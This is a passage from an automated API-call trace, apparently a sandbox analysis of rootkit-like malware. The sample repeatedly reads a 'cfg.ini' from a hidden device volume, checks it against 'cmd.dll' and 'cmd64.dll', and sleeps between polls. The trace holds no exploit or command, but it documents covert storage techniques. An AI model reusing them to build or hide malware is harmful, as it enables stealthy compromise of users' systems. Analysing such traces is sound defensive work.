_Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.409] KeEnterCriticalRegion () [0129.409] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.409] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.409] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.409] KeLeaveCriticalRegion () [0129.409] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.409] KeEnterCriticalRegion () [0129.409] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.409] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.409] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.409] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.409] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.409] IdePortDispatch () returned 0x103 [0129.409] KeWaitForMutexObject () returned 0x0 [0129.409] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.409] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.409] KeLeaveCriticalRegion () [0129.409] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.409] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.409] KeEnterCriticalRegion () [0129.409] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.409] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000be9000 [0129.409] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.409] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.409] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.409] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.409] IdePortDispatch () returned 0x103 [0129.410] KeWaitForMutexObject () returned 0x0 [0129.410] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.410] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.410] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.410] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.410] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.410] IdePortDispatch () returned 0x103 [0129.410] KeWaitForMutexObject () returned 0x0 [0129.410] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.410] KeLeaveCriticalRegion () [0129.410] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.411] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.411] KeEnterCriticalRegion () [0129.411] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.411] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.411] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.411] KeLeaveCriticalRegion () [0129.411] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.411] KeEnterCriticalRegion () [0129.411] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.411] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.411] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c04070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.411] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.411] KeLeaveCriticalRegion () [0129.411] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.411] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.411] KeEnterCriticalRegion () [0129.411] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.411] ExFreePoolWithTag (P=0xfffffa8003c03230, Tag=0x0) [0129.411] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.411] KeLeaveCriticalRegion () [0129.411] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.411] ReleaseMutex (hMutex=0xf0) returned 1 [0129.411] Sleep (dwMilliseconds=0x124f80) [0129.427] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.427] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.427] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.427] KeEnterCriticalRegion () [0129.427] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.427] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.427] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.427] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.427] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.427] IdePortDispatch () returned 0x103 [0129.427] KeWaitForMutexObject () returned 0x0 [0129.428] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.428] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.428] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.428] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.428] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.428] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c05db0 [0129.428] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.428] KeLeaveCriticalRegion () [0129.428] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.428] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.428] KeEnterCriticalRegion () [0129.428] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.428] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.428] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.428] KeLeaveCriticalRegion () [0129.428] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.428] KeEnterCriticalRegion () [0129.428] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.428] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.428] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.428] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.428] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.428] IdePortDispatch () returned 0x103 [0129.428] KeWaitForMutexObject () returned 0x0 [0129.428] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.428] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.428] KeLeaveCriticalRegion () [0129.428] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.429] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.429] KeEnterCriticalRegion () [0129.429] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.429] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bee000 [0129.429] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.429] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.429] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.429] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.429] IdePortDispatch () returned 0x103 [0129.429] KeWaitForMutexObject () returned 0x0 [0129.429] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.429] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.429] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.429] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.429] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.429] IdePortDispatch () returned 0x103 [0129.429] KeWaitForMutexObject () returned 0x0 [0129.429] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.429] KeLeaveCriticalRegion () [0129.429] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.430] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.430] KeEnterCriticalRegion () [0129.430] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.430] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.430] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.430] KeLeaveCriticalRegion () [0129.430] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.430] KeEnterCriticalRegion () [0129.430] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.430] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.430] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c046b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.430] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.430] KeLeaveCriticalRegion () [0129.430] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.430] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.430] KeEnterCriticalRegion () [0129.430] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.430] ExFreePoolWithTag (P=0xfffffa8003c05db0, Tag=0x0) [0129.430] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.430] KeLeaveCriticalRegion () [0129.430] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.430] ReleaseMutex (hMutex=0xf0) returned 1 [0129.430] Sleep (dwMilliseconds=0x124f80) [0129.446] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.446] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.446] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.446] KeEnterCriticalRegion () [0129.446] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.446] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.446] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.446] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.446] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.446] IdePortDispatch () returned 0x103 [0129.446] KeWaitForMutexObject () returned 0x0 [0129.446] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.446] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.446] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.446] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.446] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.446] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c04d60 [0129.446] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.446] KeLeaveCriticalRegion () [0129.446] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.446] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.446] KeEnterCriticalRegion () [0129.446] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.446] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.446] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.446] KeLeaveCriticalRegion () [0129.446] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.447] KeEnterCriticalRegion () [0129.447] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.447] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.447] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.447] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.447] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.447] IdePortDispatch () returned 0x103 [0129.447] KeWaitForMutexObject () returned 0x0 [0129.447] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.447] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.447] KeLeaveCriticalRegion () [0129.447] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.447] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.447] KeEnterCriticalRegion () [0129.447] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.447] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bf3000 [0129.447] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.447] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.447] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.447] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.447] IdePortDispatch () returned 0x103 [0129.447] KeWaitForMutexObject () returned 0x0 [0129.447] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.447] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.447] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.447] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.447] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.448] IdePortDispatch () returned 0x103 [0129.448] KeWaitForMutexObject () returned 0x0 [0129.448] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.448] KeLeaveCriticalRegion () [0129.448] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.448] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.448] KeEnterCriticalRegion () [0129.448] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.448] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.448] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.448] KeLeaveCriticalRegion () [0129.448] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.448] KeEnterCriticalRegion () [0129.448] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.449] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.449] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c05f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.449] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.449] KeLeaveCriticalRegion () [0129.449] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.449] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.449] KeEnterCriticalRegion () [0129.449] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.449] ExFreePoolWithTag (P=0xfffffa8003c04d60, Tag=0x0) [0129.449] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.449] KeLeaveCriticalRegion () [0129.449] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.449] ReleaseMutex (hMutex=0xf0) returned 1 [0129.449] Sleep (dwMilliseconds=0x124f80) [0129.464] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.464] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.464] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.464] KeEnterCriticalRegion () [0129.464] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.464] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.464] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.464] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.464] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.464] IdePortDispatch () returned 0x103 [0129.464] KeWaitForMutexObject () returned 0x0 [0129.464] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.464] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.464] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.464] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.464] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.464] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c04d60 [0129.464] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.464] KeLeaveCriticalRegion () [0129.464] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.465] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.465] KeEnterCriticalRegion () [0129.465] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.465] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.465] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.465] KeLeaveCriticalRegion () [0129.465] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.465] KeEnterCriticalRegion () [0129.465] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.465] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.465] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.465] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.465] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.465] IdePortDispatch () returned 0x103 [0129.465] KeWaitForMutexObject () returned 0x0 [0129.465] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.465] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.465] KeLeaveCriticalRegion () [0129.465] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.465] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.465] KeEnterCriticalRegion () [0129.465] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.465] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bf8000 [0129.465] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.465] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.465] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.465] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) 